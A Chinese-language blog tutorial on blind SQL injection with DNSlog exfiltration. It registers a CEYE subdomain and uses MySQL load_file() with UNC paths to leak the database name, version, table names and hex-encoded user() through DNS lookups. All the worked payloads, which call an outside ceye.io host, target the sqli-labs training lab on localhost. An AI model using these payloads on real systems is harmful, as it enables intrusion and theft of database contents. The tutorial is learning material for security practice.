SQL注入奇淫技巧——利用dnslog获取看不到的信息

对于sql盲注,常用的方法应该是二分法了,为此之前还写过通过二分法猜解的半自动化python脚本,说实话,python脚本比起手动真的已经是好多了,可是我内心其实还是挺怵写脚本的,而且这种脚本二分法猜解发送的请求频繁麻烦不说,还容易被waf检测到,以至于ip被封。于是最近学习了一种sql盲注的奇淫技巧。

step1. 介绍CEYE平台

网址:http://ceye.io/

  • 点击进去注册一个帐号,这个平台应该是知道创宇的,因为之前注册过,所以这我直接登录即可,大家注册完毕应该和我一样如下图所示:

mark

  • 注册完之后会自动的在一级域名ceye.io下分配一个二级域名如xxxxx.ceye.io

    一级域名是要钱的也是人家的,二级域名就不要钱了,你注册一个帐号,它可以给你分配一个二级域名,这个大家应该知道吧,给大家提点一下,希望有助于大家理解.

  • 在这儿,我只给大家简单说一下,这个平台注册完之后你可以理解其为自己的一台dns服务器吧,当你访问你的域名或者有HTTP请求时候,这个地方会记录你访问的日志,要是不明白看如下图示:

mark

  • 下面通过一个简单操作,再次有助大家理解

比如浏览器访问http://zzqsmile.xxxxx.ceye.io/,如下图所示:

mark

  • 然后回头看CEYE,记得reload刷新一下

mark

此时我相信你已经理解这个平台的作用了吧,其实就是一个dns解析服务器,只不过只能访问xxxxx.ceye.io及其子域名,才会产生dns日志而已。其他的暂不解释,接着我们今天要将的SQL盲注奇淫技巧。

step2. load_file(filename)函数

相信学习过通过sql注入读写服务器文件的对这个函数应该不陌生,在这我再简单提一下这个函数的作用。

  • load_file(filename)读取文件并返回文件内容为字符串.使用此函数需要满足以下条件: (1).所读文件必须在服务器上,且必须指定文件其绝对路径 (2).连接当前数据库用户必须有FILE权限 (3).文件内容必须小于max_allowed_packet。

  • 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

实际上load_file()函数还可以用来发送dns解析请求,接下来就实际尝试一下。

mark

  • 利用的payload是
1
select load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))

database()就是要做sql注入查询的地方。
concat是字符串拼接
后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥

上面拼接的结果就是’\\\\ schema_name.XXXX.ceye.io\\abc’,其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了

step3. sqli-labs靶场练习
  • sqli-labs/第五关就是sql盲注,就拿这个来练习一下今天学的这个奇淫技巧吧。
    payload:
1
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
  • 获取当前数据库
1
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
  • 获取数据库版本
1
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select version()),'.xxxxx.ceye.io\\abc'))),1,1)--+

mark

-获取数据库security中的表

1
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
1
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.xxxxx.ceye.io\\abc'))),1,1)--+

mark

值得说的是,这种方法不能同时查询多个结果,因此需要使用limit来控制每次查询一条结果。

  • 当然此时有人可能疑问到底有多少张表呢?没错使用count(),我尝试一下是可以查询到有几张表的。如下所示:
1
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema='security'),'.xxxxx.ceye.io\\abc'))),1,1)--+

mark

  • 同理查询字段也类似而已,但是经本人测试,查询user()时候就没查询出来。这是为什么呢? 因为select user()查询到的是root@localhost这样在url里面就变成了http://root@localhost.xxxxx.ceye.io/,显然这样的url不是我们想要的,因为里面有特殊字符@,这样访问的时候就会将root当成用户名,来访问localhost.xxxxx.ceye.io/站点,这点不懂的需要去了解一下URL的组成。正如下图所示:

mark

那么现在明白为什么查询user()查询不到了吧,而我现在找到的解决办法是将查询的结果通过base64编码输出出来,但是这个需要mysql版本大于5.6.1才能使用to_base64()编码函数,而我现在的数据库版本是5.5.53,无奈再次就不再演示了,顺便在说下base64解码函数from_base64()

  • 至于mysql版本小于5.6.1就没办法了吗?我现在能想到的就是先查询字符串结果的长度,然后通过一个一个拆分,将其ascii编码,然后查询到我们在解码,最后拼接得到结果。虽然麻烦,还好一般字符串不会太长。以后有时间有更好的方法再分享吧。

好了,今天的奇淫技巧就到这,大家没事也可以尝试尝试,总结总结,不过友情提示:今天这个奇淫技巧对与window服务器是没问题的,但是Linux服务器貌似不行,至于是什么原因,好像是由于unc的缘故,大家可以去Google或者百度一下unc,笔者有时间也会再去深入研究其原因和其局限性,到时候再更新补充吧。

step4 后续
  • 之前说使用dnslog查询的有的内容是不能带入URL的,后来也没想到办法,但是后来有想到可以将查询到的内容进行hex()十六进制编码再带进URL里面访问,这样我们就能在dnslog里面看到我们查询到的信息了,不过看到的是十六进制编码内容,我们在将其解码即可。

  • 下面一个简单的例子学习以下这个姿势

mark

1
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.k3i80p.ceye.io\\abc'))),1,1)--+

mark

将查询数据hex()解密一下看看,nice,没错是root@locakhost

mark